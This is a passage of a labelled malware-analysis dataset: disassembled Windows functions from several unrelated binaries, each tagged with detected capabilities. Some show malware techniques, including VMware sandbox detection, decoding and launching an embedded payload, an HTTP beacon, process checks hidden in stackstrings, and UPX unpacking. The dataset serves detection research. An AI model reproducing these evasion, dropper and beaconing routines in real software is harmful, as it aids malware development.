joyce8/EMBER2024-capa huggingface dataset:
Function at 0x54f890
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x8fbc34]
xor edx, edx
cmp eax, edx
jne 0x54f8b6
xor eax, eax
mov byte [eax + 0x8fbb34], al
inc eax
cmp eax, 0x100
jl 0x54f89e
mov dword [0x8fbc34], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8fbb34
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x54f947
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x54f91a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x54f8e8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x54f9c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x54fa13
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x54f9fa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x5563d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x58751e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.00556cf0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x87316c
call fcn.00577100
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x556463
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00577100
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x55645c
push 0
mov ecx, eax
call fcn.0054d4d0
mov dword [esi + 0xc], eax
jmp 0x556465
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x556465
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x57979f
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x5797d7
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0057781a
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA_1]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.005777f2
jmp 0x5797e3
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x57ae94
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x57aed6
call fcn.00580f0c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x57aed6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x57aecd
xor eax, eax
jmp 0x57aede
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0057aee4
pop edi
pop esi
pop ebx
ret 4

Function at 0x58143c
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection_1]
cmp dword [esp + 0x10], 0
jne 0x58146a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue_1]
test eax, eax
je 0x581488
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.005813a2
jmp 0x581488
mov eax, dword [esi + 0x14]
test eax, eax
je 0x581488
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.005813a2
test edi, edi
mov eax, edi
jne 0x581472
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
pop ebx
ret 8
Function at 0x40269d
Capabilities:
Encode data using xor

Disassembly:
pushal
lea ecx, [0xf2dfe0a8]
mov eax, 0x200b924d
xadd dl, bh
mov ch, dh
xadd ah, bl
mov al, bl
shld eax, ebp, 0xba
test ah, bh
movzx eax, bh
not edx
shld esi, ebx, 0x4a
test dh, ah
call 0x402661
shrd edx, eax, cl
mov ecx, 0x6503cb87
btc ebp, ebp
mov ecx, 0xb1353625
bswap edx
rcr dl, 0x60
cmp esi, eax
rcl edx, 0xc1
dec edx
bsf esi, ebx
test bh, 0xa8
inc bl
mov edx, ecx
mov ebx, edx
mov dh, bh
mov eax, 0x539b
imul esi, ebp, 0xa87d74d0
and dh, ch
mov bl, dl
xor eax, 0x4b5f
dec ebx
add byte [eax], al
test ecx, 0x1ce4b73c
sub eax, 0x6e0
neg bh
mov ecx, 0
mov dh, 0x80
add ecx, eax
inc dl
add al, bh
lea edx, [0xca71ca7e]
xchg ecx, edi
cmp esi, 0x9aaa
jae 0x4026cc
add dh, dl
sub edi, 0x13d

Function at 0x80b4a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x80b4c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x80b4c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x80b4b8
mov eax, 1
add ebx, ebx
jne 0x80b4db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x80b4d0
jne 0x80b4ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x80b4d0
xor ecx, ecx
sub eax, 3
jb 0x80b500
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x80b572
mov ebp, eax
add ebx, ebx
jne 0x80b50b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x80b518
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x80b53c
inc ecx
add ebx, ebx
jne 0x80b528
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x80b51d
jne 0x80b539
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x80b51d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x80b55c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x80b54d
jmp 0x80b4be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x80b55c
add edi, ecx
jmp 0x80b4be
pop esi
mov edi, esi
mov ecx, 0x147
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x80b57a
cmp byte [edi], 1
jne 0x80b57a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x80b57f
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x80b5f7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb514]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb58c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x80b5ac
mov ecx, edi
jns 0x80b5db
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb590]
or eax, eax
je 0x80b5f1
mov dword [ebx], eax
add ebx, 4
jmp 0x80b5c9
call dword [esi + 0xb594]
popal
jmp 0x802d68
Function at 0x4011a0
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
push 0x40
push eax
push 0x404834
call fcn.004014e0
push 0x40
push 0x403130
push 0x404834
push 0x404834
call fcn.00401400
mov al, byte [esp + 0x3c]
add esp, 0x1c
test al, al
jne 0x40122b
mov ebx, dword [esp + 0x1c]
mov ebp, 0x10
mov eax, dword [0x404014]
mov ecx, 8
mov esi, eax
mov edi, 0x404814
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401340
mov ecx, dword [0x404010]
mov edx, dword [0x404014]
push 0x20
push ecx
push edx
call fcn.00401450
mov edi, dword [0x404010]
add esp, 0x14
mov ecx, 8
mov esi, 0x404814
add ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x4011df
jmp 0x401284
mov eax, dword [esp + 0x1c]
mov ebp, 0x10
lea ebx, [eax + 0x2d0]
mov eax, dword [0x404010]
mov ecx, 8
mov esi, eax
mov edi, 0x404814
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401340
mov ecx, dword [0x404014]
mov edx, dword [0x404010]
push 0x20
push ecx
push edx
call fcn.00401450
mov edi, dword [0x404014]
add esp, 0x14
mov ecx, 8
mov esi, 0x404814
sub ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x40123a
push 0x40
push 0x403170
push 0x404834
push 0x404834
call fcn.00401400
mov eax, dword [esp + 0x24]
push 0x40
push 0x404834
push eax
call fcn.00401520
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4012c0
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0x40
push eax
push 0x4047d4
call fcn.004014e0
push 0x38
push str.91__
push 0x4047d4
push 0x4047d4
call fcn.00401400
mov edi, dword [esp + 0x28]
add esp, 0x1c
xor esi, esi
movsx ecx, byte [esi + 0x403268]
mov edx, dword [0x404018]
push ecx
push 0x1c
push edx
call fcn.00401480
movsx eax, byte [esi + 0x403268]
mov ecx, dword [0x40401c]
push eax
push 0x1c
push ecx
call fcn.00401480
push 0x30
push 0x403238
push 0x4047d4
push edi
call fcn.00401400
add esp, 0x28
inc esi
add edi, 0x30
cmp esi, 0x10
jl 0x4012f2
pop edi
pop esi
ret

Function at 0x401340
Capabilities:
Encrypt data using des

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x30
push 0x4031b0
push esi
push 0x4047a4
call fcn.00401400
mov eax, dword [esp + 0x1c]
push 0x30
push eax
push 0x4047a4
call fcn.00401450
push 0x4047a4
push esi
call fcn.00401390
push 0x20
push 0x4031e0
push esi
push esi
call fcn.00401400
add esp, 0x34
pop esi
ret

Function at 0x401450
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x401472
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x401464
pop ebx
pop esi
ret
Function at 0x401890
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xff
call fcn.00401830
push 0x6f
mov esi, eax
call fcn.00401830
imul esi, eax
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [esp + 0x120]
add esi, eax
mov eax, dword [esp + 0x11c]
push ecx
lea edx, [esp + 0x18]
push esi
push edx
push str._s_d._s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x24
pop esi
add esp, 0x104
ret

Function at 0x401900
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x4046e8
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x401922
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x40199e
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x4019c0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov edx, dword [esp + 0x5c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 4
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x401a26
mov eax, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
pop esi
add esp, 0x54
ret
Function at 0x401a30
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x208
push ebx
push 0x4046f8
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x401b95
push ebp
push esi
push edi
push 0
push 0xd20
push ebx
call dword [sym.imp.MSVCRT.dll_fseek]
push 0xbb8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
push ebx
mov ecx, 0x2ee
xor eax, eax
mov edi, esi
push 0xbb8
push 1
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.MSVCRT.dll_fread]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
mov edi, str.K_zM
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
xor ebx, ebx
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401ac7
movsx ecx, byte [edx + str.K_zM]
add ebx, ecx
mov edi, str.K_zM
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x401aaa
xor eax, eax
mov cl, byte [eax + esi]
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, 0xbb8
jb 0x401ac9
push str.ISEND
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
mov byte [eax], 0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
add esp, 8
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401b89
mov al, byte [ebx + esi]
cmp al, 0xd
je 0x401b20
mov byte [esp + ebp + 0x10], al
inc ebp
jmp 0x401b78
lea edx, [esp + 0x114]
push 0x4046ec
xor ebp, ebp
push edx
inc ebx
call fcn.00401890
lea eax, [esp + 0x11c]
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.00401570
lea edx, [esp + 0x124]
push edx
call fcn.00401900
add esp, 0x14
test eax, eax
je 0x401b6b
lea eax, [esp + 0x114]
push eax
call fcn.004019c0
add esp, 4
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
inc ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ebx, ecx
jb 0x401b12
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret

Function at 0x401c30
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403490
push 0x402c90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401cd0
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x401cf4
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x401ced
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret
Function at 0x401d00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
sub esp, 0x1a0
push ebx
push esi
lea eax, [esp + 0x18]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov cx, word [0x404540]
mov esi, eax
push ecx
mov word [esp + 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x40443c
mov word [esp + 0x12], ax
call fcn.00401cd0
mov ebx, dword [sym.imp.WS2_32.dll_connect]
add esp, 4
lea edx, [esp + 0xc]
mov dword [esp + 0x10], eax
push 0x10
push edx
push esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, 0xffffffff
jne 0x401d83
push 0x1f4
call edi
lea eax, [esp + 0xc]
push 0x10
push eax
push esi
call ebx
cmp eax, 0xffffffff
je 0x401d6d
mov ebx, dword [sym.imp.WS2_32.dll_send]
push 0
push 6
push str.123456
push esi
call ebx
push 0xc350
call edi
jmp 0x401d89

Function at 0x401f30
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x710
push esi
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push eax
call fcn.00401da0
lea ecx, [esp + 0x10]
push 0x40432c
push ecx
push 0x404124
lea edx, [esp + 0x120]
push str._s_mac_sver_s
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x18
push 0
push 0
push 0
push 0
push str.Google_page
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
mov esi, eax
push connect
push 0
lea eax, [esp + 0x11c]
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [esp + 8]
lea edx, [esp + 0x318]
push ecx
mov edi, eax
push 0x400
push edx
push edi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
pop edi
pop esi
add esp, 0x710
ret
Function at 0x402250
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.MyTemp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0xf], 0
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xc]
and ecx, 3
push 0x404748
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x4022e3
mov ecx, dword [esp + 0x114]
push esi
push ecx
call dword [sym.imp.MSVCRT.dll_fputs]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
pop edi
pop esi
pop ebp
add esp, 0x104
ret

Function at 0x4024e0
Capabilities:
Get common file path

Disassembly:
push esi
push edi
push 0x104
push 0x404f88
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Debugs.inf
or ecx, 0xffffffff
xor eax, eax
push 0x4046e8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x404f88
mov esi, edi
mov edx, ecx
mov edi, 0x404f88
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
call esi
add esp, 8
test eax, eax
jne 0x40255a
push 0x404748
push 0x404f88
call esi
add esp, 8
test eax, eax
jne 0x402555
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
xor eax, eax
pop esi
ret
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop edi
pop esi
ret
Function at 0x402570
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
sub esp, 0x24c
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x138]
mov dword [esp + 0x134], 0
push eax
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x28], esi
je 0x40272e
lea eax, [esp + 0x134]
mov dword [esp + 0x134], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x402727
mov ebp, dword [sym.imp.MSVCRT.dll__stricmp]
mov bl, 0x65
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x13c], eax
jne 0x402700
mov ecx, dword [esp + 0x14c]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [esp + 0x2c], eax
je 0x40272e
lea edx, [esp + 0x30]
push 0x104
push edx
push 0
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x40272e
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x18], bl
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x18]
mov esi, ecx
or ecx, 0xffffffff
mov byte [esp + 0x19], 0x78
mov byte [esp + 0x1a], 0x70
mov byte [esp + 0x1b], 0x6c
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x72
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x78
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, esi
sub eax, ecx
lea ecx, [esp + 0x18]
mov byte [esp + 0x10], 0x63
mov byte [esp + 0x11], 0x6d
lea eax, [esp + eax + 0x30]
mov byte [esp + 0x12], 0x64
push eax
push ecx
mov byte [esp + 0x1b], 0x2e
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x78
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0
call ebp
add esp, 8
test eax, eax
je 0x402717
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub esi, ecx
lea esi, [esp + esi + 0x30]
push esi
push edx
call ebp
add esp, 8
test eax, eax
je 0x402717
mov eax, dword [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x28]
lea ecx, [esp + 0x134]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x402727
jmp 0x4025ea
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x24c
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24c
ret